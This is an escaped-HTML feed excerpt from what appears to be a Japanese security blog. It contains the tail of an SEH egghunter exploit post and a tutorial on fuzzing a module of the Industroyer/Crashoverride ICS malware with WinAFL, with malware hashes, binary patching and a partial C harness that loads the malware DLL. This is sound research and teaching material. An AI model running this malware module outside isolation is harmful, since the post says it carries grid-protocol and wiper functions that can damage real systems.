&lt;h3 id=&quot;uその他u&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u%E3%81%9D%E3%81%AE%E4%BB%96u&quot; aria-label=&quot;uその他u permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;その他&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;今回ののExploitコードは、SEH overwriteにて直接Egghunterへジャンプせずに、Egghunterのある位置へのジャンプコードへジャンプする動作となっています。&lt;/p&gt;
&lt;p&gt;これは&lt;a href=&quot;/posts/2020-05-31-gmon-exploit-by-egghunter#%E4%BD%99%E8%AB%87&quot;&gt;余談&lt;/a&gt;にて述べたWindows XP SP3 Build 2600のようにSEH直後の領域がEgghunterを書き込むのに十分なスペースがない場合を想定した作りであり、それは実際にはWindows 7 SP1 Build 7601 x86環境では不要の動作です。&lt;/p&gt;
&lt;br&gt;</content:encoded></item><item><title><![CDATA[WinAFLでDLLをFuzzingする]]></title><description><![CDATA[WinAFLによるDLLのファジングを行うために必要となるハーネス作成やバイナリパッチ当て等の流れを説明します。]]></description><link>https://binarygenes.com/posts/2020-04-11-fuzzing-a-dll-with-writing-a-harness</link><guid isPermaLink="false">https://binarygenes.com/posts/2020-04-11-fuzzing-a-dll-with-writing-a-harness</guid><pubDate>Sat, 02 May 2020 23:56:42 GMT</pubDate><content:encoded>&lt;p&gt;この記事では、WinAFLによるDLLのファジングを行うために必要となるハーネス作成やバイナリパッチ当て等の流れを説明していきます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200429_harness/harness.png&quot; alt=&quot;Harness&quot; title=&quot;Harnessのイメージ&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;harnessとは&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#harness%E3%81%A8%E3%81%AF&quot; aria-label=&quot;harnessとは permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Harnessとは&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;DLLをFuzzingする場合には、DLLをロードするEXEであるHarnessを書いてあげる必要があります。HarnessからDllMain()やExport関数を呼び出し、Fuzzを入力するということです。&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;target-dll&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#target-dll&quot; aria-label=&quot;target dll permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Target DLL&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;2016年12月にウクライナを停電させたサイバー攻撃に使用されたマルウェアであるCrashoverrideのモジュール (DLL)をターゲットとします。&lt;/p&gt;
&lt;p&gt;CrashoverrideはIndustroyerとも呼ばれるICSマルウェアの1つです。&lt;/p&gt;
&lt;p&gt;攻撃者は、LauncherにDLLとConfigファイルのパスを指定することで、モジュール内に実装された機能を実行します。&lt;/p&gt;
&lt;p&gt;今回のターゲットは、そのモジュールの中でも電力網で利用される制御プロトコルであるIEC 60870-5-104 (aka IEC 104)を送受信するものです。&lt;/p&gt;
&lt;p&gt;動作の概要を理解するのには&lt;a href=&quot;https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf&quot;&gt;ESETのレポート&lt;/a&gt;を読むと良いです。&lt;/p&gt;
&lt;h3 id=&quot;sha256&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#sha256&quot; aria-label=&quot;sha256 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;SHA256&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Module: 7907dd95c1d36cf3dc842a1bd804f0db511a0f68f4b3d382c23a3c974a383cad&lt;/li&gt;
&lt;li&gt;Launcher: 21c1fdd6cfd8ec3ffe3e922f944424b543643dbdab99fa731556f8805b0d5561&lt;/li&gt;
&lt;/ul&gt;
&lt;br&gt;
&lt;h2 id=&quot;targetの解析&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#target%E3%81%AE%E8%A7%A3%E6%9E%90&quot; aria-label=&quot;targetの解析 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Targetの解析&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;Fuzzingを行うためには、Target内のどの部分を対象とするかを決める必要があります。&lt;/p&gt;
&lt;p&gt;インプットをパースする関数には例外処理の甘さから&lt;strong&gt;脆弱性となり得る部分&lt;/strong&gt;が多く含まれるため、パースの役割を持つ部分を探していきます。&lt;/p&gt;
&lt;p&gt;今回のTargetはConfigファイルを読み込んで動作を変更するため、Configファイルのパース部分を探していきます。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf&quot;&gt;ESETのレポート&lt;/a&gt;より、TargetはLauncherバイナリから下記コマンドで実行されるとあります。&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-text line-numbers&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ %LAUNCHER%.exe %WORKING_DIRECTORY% %PAYLOAD%.dll %CONFIGURATION%.ini&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;LauncherにはConfigのパースには関係のない処理が含まれている可能性が高いです。LauncherをReverse engineeringしてDLL呼び出し部分の処理を確認していきます。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;ulauncheru&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#ulauncheru&quot; aria-label=&quot;ulauncheru permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;Launcher&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;defragsvc&lt;/code&gt;という名称で、DLL内の&lt;strong&gt;IEC 104送受信用の機能&lt;/strong&gt;と&lt;strong&gt;Wiper機能&lt;/strong&gt;がサービスとして登録されます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200429_harness/launcher.png&quot; alt=&quot;サービスの中身&quot; title=&quot;サービスの中身の図&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;((void (__cdecl *)(LPWSTR))lpCrash)(argv_cpy[3]);&lt;/code&gt;より、DLLのExport関数は&lt;code class=&quot;language-text&quot;&gt;Crash((wchar_t) ConfigPath);&lt;/code&gt;で呼び出せることが分かります。&lt;/p&gt;
&lt;p&gt;続いて、Moduleの方をReverse engineeringしていきます。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;umoduleu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#umoduleu&quot; aria-label=&quot;umoduleu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;Module&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;まず&lt;code class=&quot;language-text&quot;&gt;LoadLibrary()&lt;/code&gt;でModuleをロードした際に走る処理を確認しておきます。&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;DllMain()&lt;/code&gt;には処理が含まれていないため、Export関数のみに注目すれば良いことが分かります。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200429_harness/dllmain.png&quot; alt=&quot;DllMain&quot; title=&quot;DllMainの図&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Crash()&lt;/code&gt;を見てみると、ConfigファイルをTokenizeするLexerを実行したのち、Tokenを解析してIEC 104を送受信するParserが無限回数実行されることが分かります。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200429_harness/crash.png&quot; alt=&quot;Crash&quot; title=&quot;Crashの図&quot;&gt;&lt;/p&gt;
&lt;p&gt;パケット送受信等を伴うParserはFuzzingを実行するまでに必要な動作の解析、バイナリのパッチ当てが多く必要になりそうであるため、まずはLexer単体でFuzzingを開始することにします。&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Crash()&lt;/code&gt;を呼び出した際にLexerだけが実行されるようにバイナリにパッチを当てます。&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;patch当て&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#patch%E5%BD%93%E3%81%A6&quot; aria-label=&quot;patch当て permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Patch当て&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;call aa_lexer&lt;/code&gt;内部には&lt;code class=&quot;language-text&quot;&gt;fopen()&apos;と&lt;/code&gt;fclose()‘が両方含まれているため、&lt;code class=&quot;language-text&quot;&gt;call  aa_lexer&lt;/code&gt;直後を&lt;code class=&quot;language-text&quot;&gt;ret  0&lt;/code&gt;に書き換えることにします。&lt;/p&gt;
&lt;p&gt;※Closeせずに実行終了される場合には、Fuzzingの実行がプロセスの開始からのループとなってしまい、exec speedが大幅に減速してしまいます。Target内部ではOpenしたファイルを必ずCloseしましょう。
&lt;img src=&quot;/media/20200429_harness/crash_asm.png&quot; alt=&quot;Crashのアセンブリ&quot; title=&quot;Crashのアセンブリの図&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;バイナリのパッチ当てにはIDA pluginの&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/17161/32863&quot;&gt;Keypatch&lt;/a&gt;と&lt;a href=&quot;https://stalkr.net/files/ida/idadif.py&quot;&gt;idadif.py&lt;/a&gt;を使いました。&lt;/p&gt;
&lt;p&gt;Keypatchを使う場合には、&lt;code class=&quot;language-text&quot;&gt;call  aa_lexer&lt;/code&gt;直下を選択し&lt;code class=&quot;language-text&quot;&gt;Ctrl+K&lt;/code&gt;でPatcherを開きます。&lt;/p&gt;
&lt;p&gt;Assemblyのボックスに変更後のインストラクションを記載し、Patchを押下します。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200429_harness/keypatcher.png&quot; alt=&quot;Patcher&quot; title=&quot;Patcherの図&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;call  aa_lexer&lt;/code&gt;直下が&lt;code class=&quot;language-text&quot;&gt;retn  0&lt;/code&gt;に書き換わりました。Keypatchを使うと余ったバイトをNOPで埋めてくれるため便利です。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200429_harness/patched_crash.png&quot; alt=&quot;パッチ後のアセンブリ&quot; title=&quot;パッチ後のアセンブリの図&quot;&gt;&lt;/p&gt;
&lt;p&gt;この状態ではidbファイル上でパッチが当たっているだけで、バイナリ自体は編集されていないため、idadif.pyを実行してバイナリにパッチを当てます。&lt;/p&gt;
&lt;p&gt;バイナリへのパッチの当て方はStackoverflowの&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/17159/running-a-patched-binary-within-ida-free&quot;&gt;Answer&lt;/a&gt;に簡潔にまとまっています。&lt;/p&gt;
&lt;p&gt;次に、Moduleを呼び出すためのHarnessを書いていきます。&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;harness作成&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#harness%E4%BD%9C%E6%88%90&quot; aria-label=&quot;harness作成 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Harness作成&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;以下に今回書いたHarnessのソースコードと、その重要なポイントについて記載します。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;harness_crash.c&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;c&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-c line-numbers&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;windows.h&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;stdio.h&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__declspec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dllexport&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fuzz_crash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;wchar_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; ConfigPath&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;INSPECT&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;wchar_t&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;file_path&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
INSPECT Crash&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token class-name&quot;&gt;wchar_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;charToWChar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; text&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token class-name&quot;&gt;size_t&lt;/span&gt; size &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;text&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token class-name&quot;&gt;wchar_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; wa &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;wchar_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;wchar_t&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;mbstowcs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wa&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; text&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; wa&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fuzz_crash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;wchar_t&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;ConfigPath&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;Crash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ConfigPath&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; argc&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; FuncName&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Crash&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; DllName&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Crash104.dll&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    HMODULE hModule &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;LoadLibraryA&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;DllName&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hModule &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Failed to load library %s&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DllName&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
